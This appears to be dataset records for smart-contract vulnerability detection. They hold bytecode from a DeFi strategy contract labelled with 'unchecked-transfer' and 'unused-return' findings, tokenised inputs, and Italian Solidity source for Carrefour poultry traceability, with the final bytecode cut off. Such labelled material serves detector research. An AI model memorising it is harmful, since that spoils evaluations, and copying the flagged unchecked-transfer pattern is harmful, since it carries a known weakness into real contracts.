b5051905061188160008051602061300f8339815191528683612813565b6000856001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156118d057600080fd5b505afa1580156118e4573d6000803e3d6000fd5b505050506040513d60208110156118fa57600080fd5b5051600d5490915061191a906001600160a01b0388811691166000612b9b565b600d54611934906001600160a01b03888116911683612b9b565b61193c612ff0565b8181876004811061194957fe5b6020020152600d5460405162a6cbcd60e21b81526001600160a01b039091169063029b2f3490839060009060040180836080808383875b83811015611998578181015183820152602001611980565b5050505090500182815260200192505050600060405180830381600087803b1580156119c357600080fd5b505af11580156119d7573d6000803e3d6000fd5b5050505050505b600b54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015611a2957600080fd5b505afa158015611a3d573d6000803e3d6000fd5b505050506040513d6020811015611a5357600080fd5b505190508015611a6557611a65612308565b505050505050565b732260fac5e5542a773aa44fbcfedf7c193bc2c59960029091565b6009546001600160a01b03163314611ad3576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600255565b6007546000906001600160a01b03163314611b28576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b6004546001600160a01b0383811691161415611b73576040805162461bcd60e51b81526020600482015260056024820152643a37b5b2b760d91b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b158015611bb957600080fd5b505afa158015611bcd573d6000803e3d6000fd5b505050506040513d6020811015611be357600080fd5b5051600754909150611c02906001600160a01b038481169116836127c1565b919050565b6011546001600160a01b031681565b6006546001600160a01b031681565b73d533a949740bb3306d119cc777fa900ba034cd5281565b600d546001600160a01b031681565b6000611c67611c59610bbc565b611c616121c3565b906126cc565b905090565b6005546001600160a01b031681565b6e085d4780b73119b644ae5ecd22b37681565b600f546001600160a01b031681565b600a54600160a01b900460ff1681565b6007546000906001600160a01b03163314611cfd576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b611d05612cae565b60048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015611d5157600080fd5b505afa158015611d65573d6000803e3d6000fd5b505050506040513d6020811015611d7b57600080fd5b50516007546004805460408051632988bb9f60e21b81526001600160a01b03928316938101939093525193945060009392169163a622ee7c91602480820192602092909190829003018186803b158015611dd457600080fd5b505afa158015611de8573d6000803e3d6000fd5b505050506040513d6020811015611dfe57600080fd5b505190506001600160a01b038116611e46576040805162461bcd60e51b8152602060048201526006602482015265085d985d5b1d60d21b604482015290519081900360640190fd5b600454611e5d906001600160a01b031682846127c1565b5090565b60035481565b73eb4c2781e4eba804ce9a9803c67d0893436bb27d81565b6009546001600160a01b03163314611eca576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b031681565b600a546060908190600160a01b900460ff1615611fe15760408051600380825260808201909252906020820160608036833701905050905060008051602061300f83398151915281600081518110611f4f57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505073a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881600181518110611f9157fe5b6001600160a01b039283166020918202929092010152600554825191169082906002908110611fbc57fe5b60200260200101906001600160a01b031690816001600160a01b031681525050611c67565b604080516002808252606082018352909160208301908036833701905050905060008051602061300f8339815191528160008151811061201d57fe5b6001600160a01b03928316602091820292909201015260055482519116908290600190811061204857fe5b60200260200101906001600160a01b031690816001600160a01b031681525050905090565b6006546001600160a01b031633146120ba576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60015481565b6009546001600160a01b0316331461212d576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600355565b60005481565b600a546001600160a01b031681565b6009546001600160a01b03163314612192576040805162461bcd60e51b81526020600482015260096024820152682174696d656c6f636b60b81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6010546001600160a01b031681565b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b158015610c0757600080fd5b6006546001600160a01b0316331461225f576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b7357ab1ec28d129707052df4df418d58a2d46d5f5181565b6006546001600160a01b031633146122e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b600b54604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561235357600080fd5b505afa158015612367573d6000803e3d6000fd5b505050506040513d602081101561237d57600080fd5b50519050801561242857600c54600b546123a5916001600160a01b0391821691166000612b9b565b600c54600b546123c2916001600160a01b03918216911683612b9b565b600c546040805163b6b55f2560e01b81526004810184905290516001600160a01b039092169163b6b55f259160248082019260009290919082900301818387803b15801561240f57600080fd5b505af1158015612423573d6000803e3d6000fd5b505050505b50565b600e546001600160a01b031681565b6009546001600160a01b031681565b6014546001600160a01b031681565b6013546001600160a01b031681565b6006546001600160a01b031633146124b4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600a8054911515600160a01b0260ff60a01b19909216919091179055565b6007546001600160a01b0316331461251f576040805162461bcd60e51b815260206004820152600b60248201526a10b1b7b73a3937b63632b960a91b604482015290519081900360640190fd5b60048054604080516370a0823160e01b81523093810193909352516000926001600160a01b03909216916370a08231916024808301926020929190829003018186803b15801561256e57600080fd5b505afa158015612582573d6000803e3d6000fd5b505050506040513d602081101561259857600080fd5b50519050818110156125c0576125b1610e978383612617565b91506125bd82826126cc565b91505b6004546125d7906001600160a01b031633846127c1565b5050565b736b175474e89094c44da98b954eedeac495271d0f81565b6007546001600160a01b031681565b6004546001600160a01b031681565b60025481565b600061265983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612cb9565b90505b92915050565b600c5460408051632e1a7d4d60e01b81526004810184905290516000926001600160a01b031691632e1a7d4d916024808301928692919082900301818387803b1580156126ae57600080fd5b505af11580156126c2573d6000803e3d6000fd5b5093949350505050565b600082820183811015612659576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826127355750600061265c565b8282028284828161274257fe5b04146126595760405162461bcd60e51b815260040180806020018281038252602181526020018061302f6021913960400191505060405180910390fd5b600061265983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612d50565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052611054908490612db5565b6001600160a01b03821661282657600080fd5b60606001600160a01b03841660008051602061300f833981519152148061286357506001600160a01b03831660008051602061300f833981519152145b156128e9576040805160028082526060820183529091602083019080368337019050509050838160008151811061289657fe5b60200260200101906001600160a01b031690816001600160a01b03168152505082816001815181106128c457fe5b60200260200101906001600160a01b031690816001600160a01b0316815250506129a3565b604080516003808252608082019092529060208201606080368337019050509050838160008151811061291857fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060008051602061300f8339815191528160018151811061295457fe5b60200260200101906001600160a01b031690816001600160a01b031681525050828160028151811061298257fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6129ad81836129b3565b50505050565b600a5482516129f3916001600160a01b031690600090859082906129d357fe5b60200260200101516001600160a01b0316612b9b9092919063ffffffff16565b600a548251612a13916001600160a01b031690839085906000906129d357fe5b600a546001600160a01b03166338ed17398260008530612a3442603c6126cc565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612aa4578181015183820152602001612a8c565b505050509050019650505050505050600060405180830381600087803b158015612acd57600080fd5b505af1158015612ae1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015612b0a57600080fd5b8101908080516040519392919084640100000000821115612b2a57600080fd5b908301906020820185811115612b3f57600080fd5b8251866020820283011164010000000082111715612b5c57600080fd5b82525081516020918201928201910280838360005b83811015612b89578181015183820152602001612b71565b50505050905001604052505050505050565b801580612c21575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b158015612bf357600080fd5b505afa158015612c07573d6000803e3d6000fd5b505050506040513d6020811015612c1d57600080fd5b5051155b612c5c5760405162461bcd60e51b815260040180806020018281038252603681526020018061307a6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b179052611054908490612db5565b612428610e97610bbc565b60008184841115612d485760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d0d578181015183820152602001612cf5565b50505050905090810190601f168015612d3a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183612d9f5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612d0d578181015183820152602001612cf5565b506000838581612dab57fe5b0495945050505050565b6060612e0a826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612e669092919063ffffffff16565b80519091501561105457808060200190516020811015612e2957600080fd5b50516110545760405162461bcd60e51b815260040180806020018281038252602a815260200180613050602a913960400191505060405180910390fd5b6060612e758484600085612e7d565b949350505050565b6060612e8885612fea565b612ed9576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310612f185780518252601f199092019160209182019101612ef9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612f7a576040519150601f19603f3d011682016040523d82523d6000602084013e612f7f565b606091505b50915091508115612f93579150612e759050565b805115612fa35780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315612d0d578181015183820152602001612cf5565b3b151590565b6040518060800160405280600490602082028036833750919291505056fe000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212207ee3656bcefcd815e6f04b25555763baf33412d171db5ac8dee6951b8e52735c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 3207, 22394, 2683, 2050, 2620, 2487, 2063, 14526, 22022, 2620, 18939, 2620, 2475, 2094, 16576, 2094, 2692, 2581, 2581, 2497, 21472, 2050, 2683, 16336, 17465, 2683, 2497, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,043
0x961dfcf1da306a55b0d0302586ba3c63a7655942
pragma solidity ^0.4.24; contract Articolo { bytes public codice_articolo; bytes10 public data_produzione; bytes10 public data_scadenza; bytes public id_stabilimento; constructor(bytes _codice_articolo, bytes10 _data_produzione, bytes10 _data_scadenza, bytes _id_stabilimento) public { require(_codice_articolo.length > 0, "Codice Art. vuoto"); require(_data_produzione.length > 0, "Data produzione vuota"); require(_data_scadenza.length > 0, "Data scadenza vuota"); require(_id_stabilimento.length > 0, "ID stabilimento vuoto"); codice_articolo = _codice_articolo; data_produzione = _data_produzione; data_scadenza = _data_scadenza; id_stabilimento = _id_stabilimento; } } contract Lotto { bytes public id_owner_informazione; bytes public codice_tracciabilita; bytes public id_allevatore; bytes10 public data_nascita_pulcino; bytes10 public data_trasferimento_allevamento; mapping(bytes => mapping(bytes10 => address)) private articoli; address private owner; modifier onlymanager() { require(msg.sender == owner); _; } constructor(bytes _codice_tracciabilita, bytes _id_allevatore, bytes10 _data_nascita_pulcino, bytes10 _data_trasferimento_allevamento, bytes _id_owner_informazione) public { require(_codice_tracciabilita.length > 0, "cod. tra. non valido"); require(_id_allevatore.length > 0, "id all. non valido"); require(_data_nascita_pulcino.length > 0, "data nas. pul. non valida"); require(_data_trasferimento_allevamento.length > 0, "data trasf. non valida"); require(_id_owner_informazione.length > 0, "ID owner informazione non valido"); // This will only be managed by the "father" contract ("CarrefourFactory"): owner = msg.sender; codice_tracciabilita = _codice_tracciabilita; id_allevatore = _id_allevatore; data_nascita_pulcino = _data_nascita_pulcino; data_trasferimento_allevamento = _data_trasferimento_allevamento; id_owner_informazione = _id_owner_informazione; } function addArticolo(bytes _codice_articolo, bytes10 _data_produzione, bytes10 _data_scadenza, bytes _id_stabilimento) public onlymanager { require(_codice_articolo.length > 0, "Codice Art. vuoto"); require(_data_produzione.length > 0, "Data produzione vuota"); require(_data_scadenza.length > 0, "Data scadenza vuota"); require(_id_stabilimento.length > 0, "ID stabilimento vuoto"); address articolo = new Articolo(_codice_articolo, _data_produzione, _data_scadenza, _id_stabilimento); articoli[_codice_articolo][_data_scadenza] = articolo; } function get_articolo(bytes codice_articolo, bytes10 data_scadenza) public view returns(bytes10, bytes) { address articolo_addr = articoli[codice_articolo][data_scadenza]; Articolo articolo = Articolo(articolo_addr); return ( articolo.data_produzione(), articolo.id_stabilimento() ); } } contract CarrefourFactory { address private owner; mapping(bytes => address) private lotti; event lottoAdded(bytes codice_tracciabilita); event articoloAdded(bytes lotto, bytes codice_articolo, bytes10 data_scadenza); constructor() public { owner = msg.sender; } modifier onlymanager() { require(msg.sender == owner); _; } function createLotto(bytes codice_tracciabilita, bytes id_allevatore, bytes10 data_nascita_pulcino, bytes10 data_trasferimento_allevamento, bytes id_owner_informazione) public onlymanager { require(codice_tracciabilita.length > 0, "Codice tracciabilità non valido"); require(id_allevatore.length > 0, "Codice allevatore non valido"); require(data_nascita_pulcino.length > 0, "Data di nascita non valida"); require(data_trasferimento_allevamento.length > 0, "Data trasferimento allevamento non valida"); address lotto = new Lotto(codice_tracciabilita, id_allevatore, data_nascita_pulcino, data_trasferimento_allevamento, id_owner_informazione); lotti[codice_tracciabilita] = lotto; emit lottoAdded(codice_tracciabilita); } function get_dati_lotto(bytes codice_tracciabilita) public view returns(bytes, bytes10, bytes10, bytes) { address lotto_addr = lotti[codice_tracciabilita]; require(lotto_addr != 0x0, "Lotto non trovato"); Lotto lotto = Lotto(lotto_addr); return ( lotto.id_allevatore(), lotto.data_nascita_pulcino(), lotto.data_trasferimento_allevamento(), lotto.id_owner_informazione() ); } function createArticolo(bytes _lotto, // Here a synonym of "codice_tracciabilita" bytes _codice_articolo, bytes10 _data_produzione, bytes10 _data_scadenza, bytes _id_stabilimento) public onlymanager { require(_lotto.length > 0, "Codice tracciabilità vuoto"); require(_codice_articolo.length > 0, "Codice Art. vuoto"); require(_data_produzione.length > 0, "Data produzione vuota"); require(_data_scadenza.length > 0, "Data scadenza vuota"); require(_id_stabilimento.length > 0, "ID stabilimento vuoto"); address lotto_addr = lotti[_lotto]; require(lotto_addr != 0x0, "Lotto non trovato"); Lotto lotto = Lotto(lotto_addr); lotto.addArticolo(_codice_articolo, _data_produzione, _data_scadenza, _id_stabilimento); emit articoloAdded(_lotto, _codice_articolo, _data_scadenza); } function get_dati_articolo(bytes codice_tracciabilita, bytes codice_articolo, bytes10 data_scadenza) public view returns(bytes10, bytes, bytes, bytes10, bytes10) { address lotto_addr = lotti[codice_tracciabilita]; require(lotto_addr != 0x0, "Lotto non trovato"); Lotto lotto = Lotto(lotto_addr); (bytes10 produzione, bytes memory stabilimento) = lotto.get_articolo(codice_articolo, data_scadenza); bytes memory allevatore = lotto.id_allevatore(); bytes10 nascita = lotto.data_nascita_pulcino(); bytes10 trasferimento = lotto.data_trasferimento_allevamento(); return ( produzione, stabilimento, allevatore, nascita, trasferimento ); } }
0x60806040526004361062000067576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a19df8b146200006c578063bf6deda414620001aa578063f39b7fb114620002e8578063f676d5391462000553575b600080fd5b3480156200007957600080fd5b50620001a8600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506200071c565b005b348015620001b757600080fd5b50620002e6600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505062000e2d565b005b348015620002f557600080fd5b50620003bb600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190505050620013e3565b604051808675ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001806020018575ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff191681526020018475ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff19168152602001838103835287818151815260200191508051906020019080838360005b83811015620004a95780820151818401526020810190506200048c565b50505050905090810190601f168015620004d75780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019080838360005b8381101562000512578082015181840152602081019050620004f5565b50505050905090810190601f168015620005405780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b3480156200056057600080fd5b50620005bd600480360381019080803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505062001935565b60405180806020018575ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff191681526020018475ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001838103835287818151815260200191508051906020019080838360005b838110156200067357808201518184015260208101905062000656565b50505050905090810190601f168015620006a15780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015620006dc578082015181840152602081019050620006bf565b50505050905090810190601f1680156200070a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156200077b57600080fd5b60008751111515620007f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f436f64696365207472616363696162696c6974c3a02076756f746f000000000081525060200191505060405180910390fd5b600086511115156200086f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f436f64696365204172742e2076756f746f00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60ff16111515620008ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f446174612070726f64757a696f6e652076756f7461000000000000000000000081525060200191505060405180910390fd5b6000600a60ff1611151562000969576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f446174612073636164656e7a612076756f74610000000000000000000000000081525060200191505060405180910390fd5b60008351111515620009e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f49442073746162696c696d656e746f2076756f746f000000000000000000000081525060200191505060405180910390fd5b6001876040518082805190602001908083835b60208310151562000a1d5780518252602082019150602081019050602083039250620009f6565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060008273ffffffffffffffffffffffffffffffffffffffff161415151562000b03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4c6f74746f206e6f6e2074726f7661746f00000000000000000000000000000081525060200191505060405180910390fd5b8190508073ffffffffffffffffffffffffffffffffffffffff1663af0cfe1f878787876040518563ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018575ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff191681526020018475ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001838103835287818151815260200191508051906020019080838360005b8381101562000c0757808201518184015260208101905062000bea565b50505050905090810190601f16801562000c355780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101562000c7057808201518184015260208101905062000c53565b50505050905090810190601f16801562000c9e5780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b15801562000cc257600080fd5b505af115801562000cd7573d6000803e3d6000fd5b505050507f53712bf8154ce6951d377d996b840c2238581f0056e076728c4a03d900b57a278787866040518080602001806020018475ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff19168152602001838103835286818151815260200191508051906020019080838360005b8381101562000d7d57808201518184015260208101905062000d60565b50505050905090810190601f16801562000dab5780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101562000de657808201518184015260208101905062000dc9565b50505050905090810190601f16801562000e145780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a150505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151562000e8b57600080fd5b6000865111151562000f05576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f64696365207472616363696162696c6974c3a0206e6f6e2076616c69646f81525060200191505060405180910390fd5b6000855111151562000f7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f436f6469636520616c6c657661746f7265206e6f6e2076616c69646f0000000081525060200191505060405180910390fd5b6000600a60ff1611151562000ffc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f44617461206469206e617363697461206e6f6e2076616c69646100000000000081525060200191505060405180910390fd5b6000600a60ff161115156200109f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001807f446174612074726173666572696d656e746f20616c6c6576616d656e746f206e81526020017f6f6e2076616c696461000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8585858585620010ae62001db3565b8080602001806020018675ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff191681526020018575ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001848103845289818151815260200191508051906020019080838360005b838110156200116557808201518184015260208101905062001148565b50505050905090810190601f168015620011935780820380516001836020036101000a031916815260200191505b50848103835288818151815260200191508051906020019080838360005b83811015620011ce578082015181840152602081019050620011b1565b50505050905090810190601f168015620011fc5780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b83811015620012375780820151818401526020810190506200121a565b50505050905090810190601f168015620012655780820380516001836020036101000a031916815260200191505b5098505050505050505050604051809103906000f0801580156200128d573d6000803e3d6000fd5b509050806001876040518082805190602001908083835b602083101515620012cb5780518252602082019150602081019050602083039250620012a4565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f7a77e8376e7fe9cf11b4fe5681db89d304133a6aecf06733cb5920c9ffa85429866040518080602001828103825283818151815260200191508051906020019080838360005b83811015620013a057808201518184015260208101905062001383565b50505050905090810190601f168015620013ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390a1505050505050565b6000606080600080600080600060608060008060018f6040518082805190602001908083835b60208310151562001430578051825260208201915060208101905060208303925062001409565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16965060008773ffffffffffffffffffffffffffffffffffffffff161415151562001516576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4c6f74746f206e6f6e2074726f7661746f00000000000000000000000000000081525060200191505060405180910390fd5b8695508573ffffffffffffffffffffffffffffffffffffffff166382fffde08f8f6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180806020018375ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff19168152602001828103825284818151815260200191508051906020019080838360005b83811015620015dc578082015181840152602081019050620015bf565b50505050905090810190601f1680156200160a5780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b1580156200162b57600080fd5b505af115801562001640573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060408110156200166b57600080fd5b810190808051906020019092919080516401000000008111156200168e57600080fd5b82810190506020810184811115620016a557600080fd5b8151856001820283011164010000000082111715620016c357600080fd5b5050929190505050945094508573ffffffffffffffffffffffffffffffffffffffff1663ad96a7076040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b1580156200173457600080fd5b505af115801562001749573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156200177457600080fd5b8101908080516401000000008111156200178d57600080fd5b82810190506020810184811115620017a457600080fd5b8151856001820283011164010000000082111715620017c257600080fd5b505092919050505092508573ffffffffffffffffffffffffffffffffffffffff1663785e34aa6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156200183157600080fd5b505af115801562001846573d6000803e3d6000fd5b505050506040513d60208110156200185d57600080fd5b810190808051906020019092919050505091508573ffffffffffffffffffffffffffffffffffffffff166395b521816040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015620018d557600080fd5b505af1158015620018ea573d6000803e3d6000fd5b505050506040513d60208110156200190157600080fd5b8101908080519060200190929190505050905084848484849b509b509b509b509b5050505050505050939792965093509350565b606060008060606000806001876040518082805190602001908083835b60208310151562001979578051825260208201915060208101905060208303925062001952565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915060008273ffffffffffffffffffffffffffffffffffffffff161415151562001a5f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4c6f74746f206e6f6e2074726f7661746f00000000000000000000000000000081525060200191505060405180910390fd5b8190508073ffffffffffffffffffffffffffffffffffffffff1663ad96a7076040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801562001ac757600080fd5b505af115801562001adc573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101562001b0757600080fd5b81019080805164010000000081111562001b2057600080fd5b8281019050602081018481111562001b3757600080fd5b815185600182028301116401000000008211171562001b5557600080fd5b50509291905050508173ffffffffffffffffffffffffffffffffffffffff1663785e34aa6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801562001bc257600080fd5b505af115801562001bd7573d6000803e3d6000fd5b505050506040513d602081101562001bee57600080fd5b81019080805190602001909291905050508273ffffffffffffffffffffffffffffffffffffffff166395b521816040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801562001c6457600080fd5b505af115801562001c79573d6000803e3d6000fd5b505050506040513d6020811015